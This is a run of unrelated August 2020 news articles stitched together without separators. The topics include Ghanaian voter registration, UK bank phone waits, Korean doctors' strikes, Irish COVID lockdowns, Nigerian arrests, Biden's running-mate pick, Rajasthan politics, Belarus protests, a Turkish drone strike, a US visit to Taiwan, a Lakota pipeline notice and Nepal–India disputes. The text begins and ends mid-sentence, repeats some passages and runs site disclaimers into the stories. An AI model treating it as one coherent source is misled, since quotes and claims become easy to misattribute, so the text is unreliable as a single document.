the just ended voter registration exercise. Speaking at a press conference on Monday, August 10, 2020, the General Secretary of the NPP, John Boadu, said the actions of the NDC during the exercise sparked fear and tension in the country. Having initially bastardized the voter registration exercise, he [John Mahama] has however considered that the exercise has been extremely successful. So we in the NPP expect him to go further to apologize to this nation for the dangerous ethnic sentiments he raised, jeopardizing the security of the state with unwarranted attacks. His actions which were mirrored by the leadership of his party unduly created fear and raised political tension in the country. Certainly, Ghanaians didnt deserve this from an immediate past President of this great nation of ours who again is seeking for the mandate of the people, he stated. John Boadu further justified the governments attempts to guard Ghanas borders during the registration period. He said, We should not confuse the genuine efforts to police the borders throughout the country to mean that the NPP is against anyone. Elections in Ghana are for Ghanaians. Yet as we speak, a number of Togolese and Nigerians have either been convicted or have their cases pending at the Keta Circuit Court charged with registering for a Ghanaian voter ID card. So in the midst of all these things, it is also true and it has been established beyond a reasonable doubt that people that are not Ghanaians have tried. Some of them succeeded in getting their names in our registered. They were arrested and tried by a competent court of jurisdiction. The voter registration exercise started on June 30 and officially ended on August 6, in 33,367 polling stations. It was done in six phases with each phase assigned six days for eligible applicants to register. This was followed by a two-day mop-up exercise on Saturday, August 8 and Sunday, August 9, 2020, at the various district offices of the EC across the country to enable eligible applicants who were unable to register in the mass registration exercise to do so. In all, the Electoral Commission registered over 16,663,699 persons during the mass voter compilation exercise. Source: citinewsroom.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Banking customers unable to visit a branch are being forced to wait for hours on the phone, a Money Mail investigation reveals. It is the latest blow for customers struggling to get a basic banking service in the pandemic, thanks to heavily restricted hours at High Street branches. Lloyds and NatWest have also paused or restricted their mobile branch services that were first introduced to help vulnerable customers bank if their local branch had closed. On hold: The coronavirus crisis has left bank call centres struggling to deal with demand, but critics say problems should have been solved by now Last week, Money Mail telephoned the main customer service lines of all the big banks to see how long it would take to get through. In the worst cases, reporters were made to wait nearly 40 minutes to be connected to staff at Barclays, while Santander and HSBC kept us on hold for around half an hour. However, some callers have reported waiting for more than three hours. The coronavirus crisis has left bank call centres struggling to deal with demand, but critics say problems should have been solved by now. Yet, at times, customers are still being greeted with an automated telephone message to say their bank cannot take their call at all - before the caller is disconnected. Every day last week, Money Mail tried the main phone lines of the six biggest banks: NatWest, Nationwide, Santander, Lloyds, HSBC and Barclays. On two occasions, Lloyds said it could not answer the call and signposted customers online or to use the app. Mondays, Tuesdays and Wednesdays saw the longest waits - particularly around lunchtime and evenings. New normal: Despite lockdown easing, no bank has extended their hours to pre-lockdown levels - leaving branches open for as few as 4 hours a day Later in the week, hold times improved overall - but HSBC still took almost 28 minutes to answer on Thursday and Barclays kept us waiting for more than 26 minutes. In contrast, call centre staff at Nationwide and NatWest answered within two minutes most times we rang. Money Mail last week reported how customers were being forced to do their banking over the phone or online as a result of restricted branch opening hours. Despite lockdown easing, no bank has extended their hours to pre-lockdown levels - leaving branches open for as few as four hours a day. It has left customers queuing around the block, with some even being turned away if their requirements are not deemed 'essential'. And just this week it emerged that TSB was scrapping the traditional cashier role in its 500 branches in another blow to local banking. Some 929 cashiers will either have to re-train, take voluntary redundancy, or lose their job. Our mobile branch has been parked Villagers in Cranleigh, Surrey, lost their Lloyds branch last November which was replaced by a mobile service that comes twice a week. However, when coronavirus struck, the mobile branch stopped visiting without warning. Widower Peggy McManus, who lives in the village, says: 'It is a busy branch and it would have been common courtesy to let people know they would be without the service.' Villagers in Cranleigh, Surrey, lost their Lloyds branch last November which was replaced by a mobile service that comes twice a week Loyal customers were forced to travel to branches in Guildford and Horsham, both almost an hour's round-trip in the car. Peggy, 84, says she used the mobile branch weekly to withdraw cash and transfer money to her children and grandchildren. She likes to visit a branch, as it feels more personal, and she does not bank online. She says: 'We were all very upset when the branch closed, as it was very well used. The mobile branch is, too, but we do not know if we will be getting it back. Everyone I speak to is very fed up and considering switching to another bank.' On its website, Lloyds says that it has suspended mobile branch services for the safety of customers and staff. Routes will be re-introduced on a phased basis but with a reduced service. Last week, Aris Tsinias spent two hours and 35 minutes on the phone to HSBC trying to get his online business account unlocked. He says he was passed back and forth between different departments before being told he would need to go into a branch to get a resolution. But Aris, who runs a skincare company, says his local branch in Nantwich, Cheshire, has closed and his next nearest is in Crewe - a 12-mile round trip. The latest phone call to his bank followed four others in the past month ranging between 35 minutes and more than an hour. Aris, 43, says: 'It has become a farce and I feel very let down. 'You are not telling me that HSBC does not have the money or resources to put effective systems in place to manage customer service.' Last month, children's author Nat Reeves-Billing waited more than three hours on the phone to Barclays before hanging up in frustration. She needed to set up a new business account for her social enterprise that provides disadvantaged families with books to encourage storytelling and gifts before applying for funding. Call centre staff at NatWest picked up within 2 minutes, but the majority of High Street banks kept Money Mail reporters waiting for up to 40 minutes For the first hour, she listened to saxophone music before it changed to a different track. By the third hour, it was back to the saxophone again. Nat, 38, says it was so frustrating she almost burst into tears. When she got off the phone she tried to make a complaint over live chat but was sitting there for 40 minutes with no response. She then went through her phone contacts to try to remind herself of her bank manager's name. When she found it and called him he told her the bank was not accepting new applications for business accounts at the moment. Nat, who lives in Merseyside, says: 'It was almost the straw that broke the camel's back. I would have taken my money elsewhere but could not face any more stress.' After Nat complained, Barclays apologised and offered her 100 as a goodwill gesture. Crafty tricks to beat queues Avoid busy times, such as lunchtime or after work, when more people may be waiting. Money Mail found it easier to get through later in the week and at mid-afternoon. If the call centre is available at the weekend, try calling as soon as it opens. Try different departments even if it is not the right one you need, you may be able to speak to a person more quickly. Consider inputting your details incorrectly you may be connected to someone who can help you straight away. Search for alternative phone numbers for banks and other big companies on the website saynoto0870.com. The site provides a list of landline numbers that could cut your mobile phone bill. If you are still getting nowhere, put your complaint in writing and email it to the chief executive of the company. You can find a list of email addresses for bosses at the website ceoemail.com. Banks are not the only businesses struggling to pick up customer calls. Families have also been forced to wait up to an hour to get through to energy firms and telecoms companies. But with many households and small businesses facing serious financial distress, it has never been so important for customers to be able to reach their bank. Laura Suter, personal finance analyst at investment platform AJ Bell, says after more than four months of the pandemic, banks should have been able to restore a normal phone service. She says: 'With banks still restricting access for people to go into branches, they need to make sure that customers can contact them online or on the phone without being on hold for hours. 'Businesses have had to adapt to the new normal and banks should be no exception.' Martyn James, from complaints website Resolver, adds: 'There is really no excuse for call waiting times at banks to be so long. Customers are being let down and this is unacceptable. It is vital that people should be able to get through quickly. 'We are months into the pandemic and are facing an unemployment crisis. Banks could boost their call centre numbers and help people get back into work at the same time.' Barclays says its average answer time is 12 minutes 44 seconds. More staff are taking calls and it expects longer waiting times to reduce throughout August. HSBC is also bolstering its support team - but asks customers, where possible, to bank online. It claims average wait times are up to seven minutes. Santander says its phone lines are busier than normal but staff are picking up calls in around four minutes, on average. It advises customers to use its website in the first instance. Since the start of the pandemic, Lloyds says call volumes have increased significantly, with wait times varying from day to day. a.murray@dailymail.co.uk ...and you can't bank on their websites either ALEX BRUMMER'S analysis As a creature of habit, I have long valued the visit to the NatWest bank branch nearest to the Daily Mail's office in South-West London. The well-informed, helpful counter staff were under instruction to guide me towards online banking and the NatWest app but, valuing the personal touch, I was resistant to it. Lockdown with a vulnerable spouse changed all that and I have shifted to online payments and transactions. That is just as well since many of the branches seem almost permanently shuttered. Online is fine when the system is working, in spite of the continuous addition of new security checks that, among other things, requires you to have a fully-charged mobile device for receipt of the top-secret pin. But trying to access NatWest online over a weekend is as hard as finding an open branch near where you live at any time. The system is slow and clunky. There is time for a tea break waiting for your latest statement to come up. Then, when you try to make a payment for routine household services, the system has timed out and one has to start all over again. The frustration might not be quite as great if NatWest was proving itself to be a 'can do' back-to-work company. Its newish chief executive, Alison Rose, seems to think it is fine for everyone to work from home until January 2021. Nevermind the semi-closed branches, the dysfunctional IT or the disastrous impact which working from home has on High Streets and sole traders. Doubtless, the IT engineers are working flat out. But for new converts to digital banking it is not good enough. Trainee doctors at general hospitals said Tuesday they are likely to again launch a one-day strike later this week in protest of the government's medical workforce reform plan. The 24-hour general walkout on Friday is organized by the Korea Medical Association (KMA), which speaks for 130,000 doctors, in opposition to the government's plan to raise admission quotas at medical schools. Most clinical doctors' offices in neighborhoods are expected to be closed. A survey by the Korean Intern Resident Association (KIRA), a group of interns and resident doctors, showed that 95 percent of its some 7,000 members said they would participate in the planned walkout. The planned walkout comes after trainee doctors' 24-hour walkout last Friday. As part of the country's medical workforce reform plan, the health ministry is planning to expand admission quotas at medical schools by 4,000 over the next 10 years, starting in 2022, and to open a new public medical school as it seeks to broaden the reach of health care services. This will increase the number of students admitted annually to medical schools to 3,458 in the 2022-2031 period from the current 3,058, according to the plan. Doctors have opposed what they called the government's "hasty and unilateral" decision. The health ministry said on Tuesday it will soon announce its stance on the planned walkout. "The government is preparing so that there is no setback in providing medical service. The announcement will be made before Thursday at noon," said Kim Heong-ju, a health ministry official. "We are continuing negotiations with the KMA." The government earlier warned it would take stern actions if the walkout caused harm to people's health and safety. Last Friday's strike had spawned concerns about a potential disruption in the health care system as trainee doctors working in general hospitals' essential fields, including intensive care units, surgery and emergency rooms, joined the strike. But major general hospitals avoided major problems in treating patients as they mobilized clinical doctors, medical professors and other health workers in advance to reduce possible disruptions. (Yonhap) Laois people are "all terrified again" and angry over the extra restrictions placed on the county, the Laois County Council Cathaoirleach has said. Cllr Catherine Fitzgerald addressed the emergency meeting of Laois County Council this Tuesday afternoon August 11 where councillors pleaded the case for supports for the county to recover from the partial lockdown imposed after Laois cases rose along with Kildare and Offaly. "Why was the spike so quick? We kept our social distance, we wore our masks, we washed our hands till they were red raw. There is nothing more we can do as a community if the state does not protect us. People's mental health hasn't been mentioned. I've never heard as much anger and frustration. 27 days Laois was Covid free. We were told the key was testing, testing, testing. Testing obviously didn't take place," she said. Many of the councillors said while they understood public health comes first, the hit on businesses has been tough. "What are you doing to ensure this doesn't happen again?" asked Cllr Willie Aird. Minister of State Sean Fleming said that public health comes first, and second is getting a million Irish students back to school in two weeks time. "They have already missed six months, if they don't go back it's like telling every child you're being held back for a year. "Another reason for the strong measures is to have economic recovery. I know it is extremely difficult, it was quick because the spike happened quickly. The one thing is testing is quick now. I was in Laois shopping centre and there was 100% compliance of people wearing masks. That is a sign that people will follow good advice," he said. He said there will be further supports for businesses having to restart again Laois, Offaly and Kildare. He said he has also asked government for a buffer zone for Graiguecullen and Portarlington who "straddle a county boundary". "NEPHT is against it but I made a strong case. There's four estates in Graiguecullen that you cannot leave without crossing into Carlow, technically they can't go to the shop," he said. Super Junior Minister Pippa Hackett told them that business supports are being looked at by government. "Obviously the decision was one government felt they had to act on with the accumulative numbers. It should be five cases per 100,000 people. Laois has 70, Offaly has 120 and Kildare has 150. That was what raised the alarm bells. If they had left it you would see people dying very soon. That is the gravity of the situation. I under stand the emotions I feel them myself but ultimately it is about saving lives," she said. Laois County Council has reactivated its community support phone line. A multi agency co-ordination centre has also been set up involving Laois Offaly Garda Division, Laois, Kildare and Offaly local authorities and two HSE agencies. They will give daily updates to every county councillor to pass on to communities and businesses. The Minister for Health Stephen Donnolly made his apologies for not attending the meeting, to which representatives of the Department of Health and NEPHT had also been invited. Also sending apologies were Laois Offaly TDs Brian Stanley and Charlie Flanagan. The Minister has however agreed to a video meeting with a delegation of Laois councillors. Agreed to take part are Cllrs Conor Bergin, Paschal McEvoy, Thomasina Connell, Ben Brennan and the Cathaoirleach Cllr Catherine Fitzgerald. The Niger State Police command has arrested four suspects for alleged robbery, kidnapping and fraud in different parts of the state. ASP Wasiu Abiodun, the Commands Public Relations Officer (PPRO) made this known on Tuesday. On August 10, at about 0200 hours, acting on information, SARS Operatives attached to Suleja Police division , arrested one Abubakar Adamu, 35, of Kuspa area in Suleja inside a red Honda Civic Car with Reg. NO. AY 280 KTN, with 375 rounds of AK-47 live ammunitions and 7 AK-47 magazines. During interrogation, suspect confessed to be member of armed robbery and kidnapping syndicate, who specializes in transporting arms and ammunitions for the syndicate. Abiodun, said the case is under investigation. He added that police operatives have stepped up efforts to arrest other members of the gang. Abiodun also said that on 2 August, at about 11:00 hours, an information was received that about six gunmen invaded Kuchi village, in Munya LGA and kidnapped a woman. On receipt of the information, Police Operatives attached to Sarkin-Pawa division swung into action and arrested two of the suspects at Mararaba Dandaudu and Injita villages in Munya LGAs. During interrogation, the suspects confessed to be members of a six man gang and that the victim was handed over to them to be taken to Babur Kabula forest in Munya LGA. Victim was rescued unhurt while exhibits recovered included two locally made short guns, knife and cutlass. Abiodun, said case was also under investigation. Similarly, on August 8, at about 15:00 hours, based on a tip-off, Police Operatives attached to SARS Minna arrested one Onuwa Stephen of Benin, Edo State. The suspect was arrested at Obasanjo Shopping Complex Minna while he was about to buy a large number of Phones with another persons ATM card. During interrogation, the suspect confessed to have loitered around the premises of a Commercial Bank in Minna where he spied some customers at the ATM gallery and was able to retrieve a customers ATM card from the machine and accessed the account. Suspect will be charged to court as soon as investigation is concluded, Abiodun said. Follow Us on Facebook @LadunLiadi; Instagram @LadunLiadi; Twitter @LadunLiadi; Youtube @LadunLiadiTV for updates NASHUA, NEW HAMPSHIRE - MAY 15: Democratic presidential candidate U.S. Sen. Kamala Harris (D-CA) speaks at a campaign stop on May 15, 2019 in Nashua, New Hampshire. The Democrat and California senator is looking to differentiate herself from current front runner former Vice President Joe Biden who recently took a campaign swing through New Hampshire. (Photo by Spencer Platt/Getty Images) Joe Biden has officially chosen Sen. Kamala Harris to be his running mate, making her the first Black and South Asian American woman to become the vice presidential nominee of a major party. Biden, the presumptive Democratic nominee, announced their partnership on Tuesday afternoon on Twitter. "I have the great honor to announce that I've picked @KamalaHarris - a fearless fighter for the little guy, and one of the country's finest public servants - as my running mate," he tweeted. "Back when Kamala was Attorney General, she worked closely with Beau. I watched as they took on the big banks, lifted up working people, and protected women and kids from abuse. I was proud then, and I'm proud now to have her as my partner in this campaign." Biden's announcement comes after months of speculation, following his promise to choose a woman as his running mate. Harris is currently the only Black woman in the Senate, where she serves as a first-term senator for California. She and Biden were previously primary competitors when they campaigned against each other for the 2020 presidential ticket. Since dropping out of the race, however, Harris threw her support behind the former VP. "When I started my run for president, I said America needs a president who reflects the decency and dignity of the American people; a president who speaks the truth; and a president who fights for those whose voices are too often overlooked or ignored. I still believe that to this day. That is why I am proud to announce I am endorsing my friend, Vice President Joe Biden, for President of the United States," she said in a March statement. Harris will be the third woman to run as a vice presidential nominee for a major US party, following Geraldine Ferraro in 1984 and Sarah Palin in 2008. She is scheduled to debate Vice President Mike Pence on Oct. 7 at the University of Utah. Gehlot added that it was his responsibility to address the grievances of those who were annoyed with him. Congress leader Sachin Pilot interacts with the media at his residence in New Delhi, Tuesday. (PTI) A day after the truce in the Rajasthan Congress, chief minister Ashok Gehlot seems to be upset with the return of Sachin Pilot into the party fold. Speaking to reporters on Tuesday, the Congress stalwart evaded any response when asked how he would go back to working with someone he had called "nikamma (useless)". However, Gehlot did tell mediapersons that he would give them a warm hug if party leadership decides to forgive the rebel MLAs". He also added that it was his responsibility to address the grievances of those who were annoyed with him. "If any MLA is annoyed with me, then it is my responsibility to address that. I have kept doing this in the past and will do this now also," a news channel quoted Gehlot as saying. Gehlot's reaction came on a day when several Congress leaders "welcomed back" Pilot after the former Rajasthan deputy chief minister's meeting with Rahul Gandhi, signalling an "amicable resolution" of nearly a month-long political crisis in the state. Congress leaders welcome back Pilot Soon after his patch-up talks with senior Congress leaders, Pilot on Monday night said he has never hankered after posts and his was a fight for principles. "Welcome back Sachin. A constructive and enjoyable phase of Rajasthan building awaits," senior Congress leader Abhishek Singhvi tweeted after the party issued a statement saying Sonia Gandhi has decided that the AICC will constitute a three-member committee to "address the issues raised by Pilot and the aggrieved MLAs and arrive at an appropriate resolution thereof". Singhvi also congratulated Rahul Gandhi and his tireless team, including KC Venugopal, Randeep Surjewala and Ajay Maken, and added "not to forget political instincts of (Ashok) Gehlot which rarely fail him". Congress chief spokesperson Randeep Surjewala said, "The political crisis in Rajasthan Congress stands resolved amicably by the intervention of none other than Rahul Gandhi himself." "This is reflective of steadfast unity in Congress party and the commitment of Congress legislators to never fall prey to BJP's evil designs to defeat democracy," he said. Senior Congress leader Digvijaya Singh said he was very happy that finally the efforts of Rahul Gandhi and Priyanka Gandhi "resolved the dispute of Rajasthan Congress". "Now everyone should fulfill the promises made to the people of Rajasthan," he said. After his meeting with Rahul and Priyanka, the party said Pilot will "work in the interest" of the Congress and its government in Rajasthan. The meeting between Rahul and Pilot at the former party chief's residence, where Priyanka was also present, lasted two hours during which they had a "frank, open and conclusive" discussion, the party said. Pilot returns to Jaipur Pilot on Tuesday said he did not demanded any post from the party's top bosses and that there should not be any vendetta politics as he returned to Jaipur nearly a month after his revolt against Gehlot. The Congress leader told reporters that he did not make any statement against the party and had gone to discuss issues with the Congress high command in Delhi. I have not demanded any post from the party, he added. Pilot, however, said he was shocked at statements made against him. "I am sad, shocked and hurt due to the kind of words used against me," Pilot said. The van's owner, a Russian movie producer, later claimed the vehicle had long been parked there after the pandemic-related lockdown suspended the shooting of a TV series, and that the items stored in it are movie props. Belarus law enforcers have revealed behind the Riga mall in Minsk a van with Russian license plates, "fully loaded with ammunition, tents, and paraphernalia for street riots". That's according to the government-run TV channel ANT, seen by RFE/RL's Belarusian service. The find comes as the capital city is seeing the third day of street protests against what many activists believe was rigged results of the latest presidential vote that completed on Sunday, August 9. The discovery may testify to an "external attempt to undermine Belarus". Read alsoTikhanovskaya's campaign HQ offers Lukashenko to discuss "peaceful transfer of power to the people" The van's owner, a Russian movie producer Valdemar Grubov, later found by RFE/RL's Belarusian service claimed the vehicle had long been parked there after the pandemic-related lockdown suspended the shooting of a TV series, and that the items stored in it are movie props. Belarus protests: background On August 9, Belarus held a presidential election. The Central Election Commission has released exit polls, claiming 80.23% of voters supported the incumbent Alexander Lukashenko, 9.9% - Svetlana Tikhanovskaya, 1.68% - Anna Kanopatskaya, 1.13% - Sergei Cherechnya, and 1.04% - Andrey Dmitriev. Some 6.02% voted against all candidates. On the evening of August 9, thousands of Belarusian citizens took to the streets to protests what they believe are rigged voting results. Clashes with security officials ensued shortly. In Minsk, law enforcement officers fired rubber bullets at protesters. On August 10, protests resumed. Government forces in Minsk once again fired rubber bullets on protesters. Activists changed tactics, gathering in groups in different locations across the city simultaneously, rather than flocking to a single site. This was done in order to mislead riot police and security officials who were preparing for large-scale rallies in the city center. Apart from the protesters on foot, motorists played a special role by blocking the main roads, thus getting on the way of riot police vehicles. Read alsoEU working on response to repressions, arrests in Belarus The Ministry of Internal Affairs has confirmed that one of the protesters had died. Presidential candidate Tikhanovskaya refused to take helm of street protests. According to her press secretary, the politician was unwilling to end up behind bars like her husband, Sergei Tikhanovsky. BAGHDAD - A Turkish drone strike killed two senior Iraqi security officials, Iraqs military said Tuesday, marking the first time that Turkeys operation to root out Kurdish rebels in Iraqs north produced fatalities among high-ranking Iraqi personnel. The drone targeted a vehicle belonging to the Border Guards in the Bradost area, north of Irbil, the military statement said, causing the deaths of two commanders and the vehicles driver. Gen. Mohammed Rushdi, commander of the Border Guards 2nd Brigade and Brig. Zubair Hali, commander of the 3rd Regiment, were killed in the attack Ihsan Chelebi, the mayor of Bradost, told The Associated Press. He said they had been establishing new posts in the area. Attempts to reach Turkish military officials for comment were not successful. Baghdad condemned the attack as a violation of Iraqs sovereignty and said continued attacks would provoke a review of bilateral relations, a Foreign Ministry statement said. Iraq also cancelled a scheduled visit by Turkeys defence minister Thursday. Two Iraqi security officials said the Border Guard commanders were meeting secretly with members of the Kurdistan Workers Party, or PKK, during the attack. Turkey considers the PKK a terrorist organization and has bombed their positions inside northern Iraq in several operations. The security officials said five others were also killed in the attack. They did not say whether they were military personnel or civilians. A PKK official in northern Iraq said the meeting had taken place in Bradost. The purpose of the meeting was to bring stability to the area, he said. The officials spoke on condition of anonymity in line with regulations. On June 17, Ankara launched an airborne-and-land offensive into the border region of Haftanin, some 15 kilometres (9 miles) from the Turkey-Iraq border. The operation drew the ire of Iraqi officials who on two occasions summoned Turkeys ambassador to Baghdad to deliver a protest note. The killing of the high-ranking Iraqi officials is expected to further strain Iraqs relations with Turkey. Turkey has defended its operations in northern Iraq, saying neither the Iraqi government nor the regional Iraqi Kurdish administration have acted to remove PKK insurgents who allegedly use Iraqs territory to stage attacks on Turkey. ___ Associated Press writer Qassim Abdul-Zahra reported this story in Baghdad and AP writer Salar Salim reported from Irbil. US Secretary of Health and Human Services Alex Azar (L) speaks while meeting with Taiwan's Foreign Minister Joseph Wu (R) at a local hotel in Taipei on Aug. 11, 2020. (Pei Chen/POOL/AFP via Getty Images) Health Secretary Azar Applauds Taiwans Leadership in Global Health Taiwans foreign minister warns China is trying to 'turn Taiwan into the next Hong Kong' TAIPEI, TaiwanU.S. Health and Human Services (HHS) Secretary Alex Azar emphasized the importance of having the island be part of the global health community in the current pandemic, in his second full-day visit to Taiwans capital of Taipei. It is an honor to be here to bring greetings from President Trump and to be here to recognize Taiwans health leadership, said Azar in a joint press conference with Taiwans foreign minister Joseph Wu on the morning of Aug. 11. Calling Taiwans success in containing the Chinese Community Party (CCP) virus a model for the world, Azar said: The United States believes that Taiwans accomplishments should be recognized on the world stage. Honored to join Foreign Minister Wu this morning to discuss the special friendship between the United States and #Taiwan. https://t.co/6u3ePl8vfx Secretary Alex Azar (@SecAzar) August 11, 2020 The CCP virus, commonly known as the novel coronavirus, originated from the central Chinese city of Wuhan in late 2019. Taiwans first confirmed case of the virus was reported on Jan. 21. Since then, Taiwanese health officials have effectively limited the spread of the virus through a combination of vigorous tracing of new cases and raising public awarenesswithout adopting any draconian measures such as putting cities into lockdown. Local public transportation has continued to operate without interruption, and schools and businesses have stayed open. As of Aug. 10, Taiwan, officially known as the Republic of China, has 480 confirmed COVID-19 cases and seven deaths despite its close proximity (81 miles) to mainland China, which is ruled by the CCP. The island has a population of about 24 million. Taiwan should be able to share these lessons and its world-class expertise in international forums, Azar said, pointing to how Taiwan has been excluded from the World Health Organization (WHO) since 2017. From 2009 to 2016, Taiwans health ministers took part in the World Health Assembly (WHA), the decision-making body of the WHO, as observers. But since 2017, Taiwan has been barred at Chinas request from taking part in the assembly and from all WHO meetings. Beijing sees Taiwan as part of its territory, which must be reunited with the mainland despite the fact that the self-ruled island has its own military, democratically-elected officials, and currency. As a result, Beijing has sought to diminish Taiwans international presence by pressuring countries and international organizations to recognize its claim of sovereignty over the island in exchange for warm relations with the mainland. Minister Wu delivered a stirring speech before talks with @SecAzar. He thanked the @HHSGov secretary for making the historic visit & acknowledged the importance of #US support in #Taiwans fight to defend its democracy against authoritarian aggression. https://t.co/V06Xiv35eA pic.twitter.com/PXlyGPVIHk Ministry of Foreign Affairs, ROC (Taiwan) (@MOFA_Taiwan) August 11, 2020 Especially during a pandemic, but at all times, international organizations should not be places to play politics, Azar said of the CCPs actions. Azar concluded: We will continue advocating for the contributions Taiwan can make to the world on important issues like health. Azars trip is politically significant. He is the highest-level U.S. cabinet official to visit the island since 1979the year the United States severed official diplomatic ties with the island in recognition of Beijing. He and his delegation arrived in Taipei on Sunday afternoon. Currently, the United States maintains a robust, nondiplomatic relationship with Taiwan, and supplies the island with military weapons and equipment for its self-defense against Beijing. After the conference, Azar held private talks with Wu as well as former Taiwan Vice President Chen Chien-jen and the islands current health minister Cheng Shih-chung, according to local newspaper Liberty Times. Also speaking at the press conference, Wu pointed out how Taiwan has donated about 51 million surgical masks worldwide since the start of the pandemic, including more than 10 million to the United States, as well as other protective personnel equipment. Most recently, on Aug. 10, Taiwan donated 50,000 medical masks to the Manhattan Borough in New York City, according to local media. While @SecAzar is in #Taiwan discussing US-Taiwan health cooperation, we are joining forces with #Manhattan to fight the pandemic! Today Amb. James K. J. Lee is honored to deliver a total of 50,000 masks to @galeabrewer to support the citys public health. #StrongerTogether! pic.twitter.com/McOylxpNIw Taiwan in New York (@TaiwanInNewYork) August 10, 2020 Wu pointed out that sometimes Taiwan had chosen to deliver its medical donations quietly in order to keep their recipients free from troubletrouble from Beijing. He explained: Our life has become increasingly difficult as China continues to pressure Taiwan into accepting its political conditions, conditions that will turn Taiwan into the next Hong Kong. China has offered to rule over Taiwan under a one country, two systems modelthe same model is being used by Beijing to rule over Hong Kong since the city was handed back from British to Chinese rule in 1997. Beijings offer has been soundly rejected by the public, all major political parties in Taiwan, and the current government headed by President Tsai Ing-wen. We know this is not just about Taiwans status but about sustaining democracy in the face of authoritarian aggression [from China]. Taiwan must win these battles so democracy prevails, Wu added. On Monday, Azar oversaw the signing of a landmark agreement on health cooperation between the United States and Taiwan. KEYSTONE, South Dakota Inspired by the indigenous-led Black Hills #LandBack demonstration here earlier this summer, the Great Plains Action Society and other non-profits are circulating an Eviction Notice to the Dakota Access Pipeline and Keystone XL Pipeline. They are asking for signatures of Lakota people, tribal governments and native groups on one version of the notice and soliciting the names of allies on another. The notice says: We evict KXL and DAPL from our Lakota lands. Indigenous people have lived on these lands since time immemorial, predating the Western concept of the nation state. The Lakota origin stories state we emerged from the Black Hills, He Sapa, the center of everything that is. Indigenous people have lived on these lands since time immemorial, predating the Western concept of the nation state. The Lakota origin stories state we emerged from the Black Hills, He Sapa, the center of everything that is. The Oceti Sakowin and our allies signed treaties with the United States government, which according to the U.S. Constitution, treaties are the supreme law of the land. The Ft. Laramie Treaty of 1868 acknowledges the sovereignty of the Oceti Sakowin, legally known as The Sioux Nation of Indians, over our lands as long as the grass shall grow and the rivers will flow." The Oceti Sakowin and our allies signed treaties with the United States government, which according to the U.S. Constitution, treaties are the supreme law of the land. The Ft. Laramie Treaty of 1868 acknowledges the sovereignty of the Oceti Sakowin, legally known as The Sioux Nation of Indians, over our lands as long as the grass shall grow and the rivers will flow." Buffalo, South Dakota, is at the center of this pipeline map prepared for the Native Sun News Today. The city received state permission for a new municipal well providing public water to the private TC Energy Corp., which seeks to build the Keystone XL Pipeline across the Sioux Nation unceded Ft Laramie Treaty territory. Map by Frank DiCaesare The Treaty states, If bad men among the whites, or among other people subject to the authority of the United States, shall commit any wrong upon the person or property of the Indians, the United States will, upon proof made to the agent and forwarded to the Commissioner of Indian Affairs at Washington City, proceed at once to cause the offender to be arrested and punished according to the laws of the United States, and also reimburse the injured person for the loss sustained. Whereas corporations have fought hard to gain personhood, notably the right to freedom of religion (Burrell v. Hobby Lobby) and freedom of political speech (Citizens United). We acknowledge the corporate personhood of the entities and owners of the Dakota Access Pipeline and the Keystone XL Pipeline in so far as they are the bad men mentioned in the Ft. Laramie Treaty. Whereas corporations have fought hard to gain personhood, notably the right to freedom of religion (Burrell v. Hobby Lobby) and freedom of political speech (Citizens United). We acknowledge the corporate personhood of the entities and owners of the Dakota Access Pipeline and the Keystone XL Pipeline in so far as they are the bad men mentioned in the Ft. Laramie Treaty. They attacked our people with dogs at Standing Rock, destroyed the graves of indigenous ancestors, threaten our source of drinking water with deadly contamination; they use our water to build these pipelines; they bring their man camps that come with drugs and terrible violence; they build their pipelines across our lands without our consent. They attacked our people with dogs at Standing Rock, destroyed the graves of indigenous ancestors, threaten our source of drinking water with deadly contamination; they use our water to build these pipelines; they bring their man camps that come with drugs and terrible violence; they build their pipelines across our lands without our consent. We evict KXL and DAPL from our lands; we stand on our treaty rights to do so. We also stand on our inherent rights as indigenous people that are ours under natural law. We evict KXL and DAPL from our lands; we stand on our treaty rights to do so. We also stand on our inherent rights as indigenous people that are ours under natural law. We invoke our ancestors to stand with us now, for our water, for our land, and the generations yet unborn. We invoke our ancestors to stand with us now, for our water, for our land, and the generations yet unborn. The grassroots statewide Dakota Rural Action recently filed a motion objecting to the South Dakota Water Management Board approval of a new water well for the city of Buffalo, which has a contract to use the municipal source for the proposed Keystone XL Pipeline construction. The governors appointed board unanimously approved the water well application during a July meeting at which it refused to provide remote access to intervenors contesting the permit, among them Elizabeth Lone Eagle of the Cheyenne River Sioux Tribe, which has prohibited travel due to coronavirus pandemic concerns. Lone Eagle, Dakota Rural Action and several other intervenors had successfully lobbied the board to delay the hearing from June until July in hopes of a safer health situation. Contact Talli Nauman at talli.nauman@gmail.com Copyright permission Native Sun News Today Join the Conversation Even as the discomfort in Indo-Nepal relations, created by its new map continues, the KP Sharma Oli government is steadily opening newer fronts of friction. Now, the birthplaces of revered Gods have become the bone of contention. Nepal recently objected to External Affairs Minister S Jaishankars statement that, Who are the two greatest Indians that you can ever imagine? I would say, one is Gautam Buddha and one is Mahatma Gandhi. He was speaking at the India@75 summit organized by CII. The Nepal foreign ministry spokesperson in a statement said, The matter remains beyond doubt and controversy and thus cannot be a subject of debate. The entire international community is aware of this. On Sunday, however, India tried to put a lid on the latest possible controversy regarding Gautam Buddha by issuing a clarification. The spokesperson for the Ministry of External Affairs, Anurag Srivastava, said the EAMs remarks yesterday at the CII event referred to our shared Buddhist heritage. There is no doubt that Gautam Buddha was born in Lumbini, which is in Nepal. On the other hand, the Ayodhya controversy is being kept alive by PM Oli. A day before raising objections to Jaishankars comment, Nepal media reported that Prime Minister Oli has instructed that the local government gather archaeological evidence of his claim regarding Ayodhya, Rams birthplace, being in Nepal. The archaeological department is already set to carry out excavation in Thori, Nepal. This despite that fact that after an uproar over his comments that didnt go down well either in India or Nepal, Kathmandu issue a clarification saying, The remarks made by the Prime Minister are not linked to any political subject and have no intention at all to hurt the feeling and sentiment of anyone. But the statement also left room for furthering the idea when it added that there have been several myths and references about Shri Ram and the places associated with him, the Prime Minister was simply highlighting the importance of further studies and research of the vast cultural geography the Ramayana represents to obtain facts about Shri Ram, Ramayana and the various places linked to this rich civilisation. Analysts believe that the move to appropriate cultural icons has a more political reason. Prime Minister Oli, while taking a very nationalistic stance, wants to end the roti-beti relationship with India. For instance, by indicating that Ram could have been Nepali, he is eroding the very premise of the age-old historical familial links between Nepal and India where marriages happened and still do between the two sides. Senior Nepali journalist 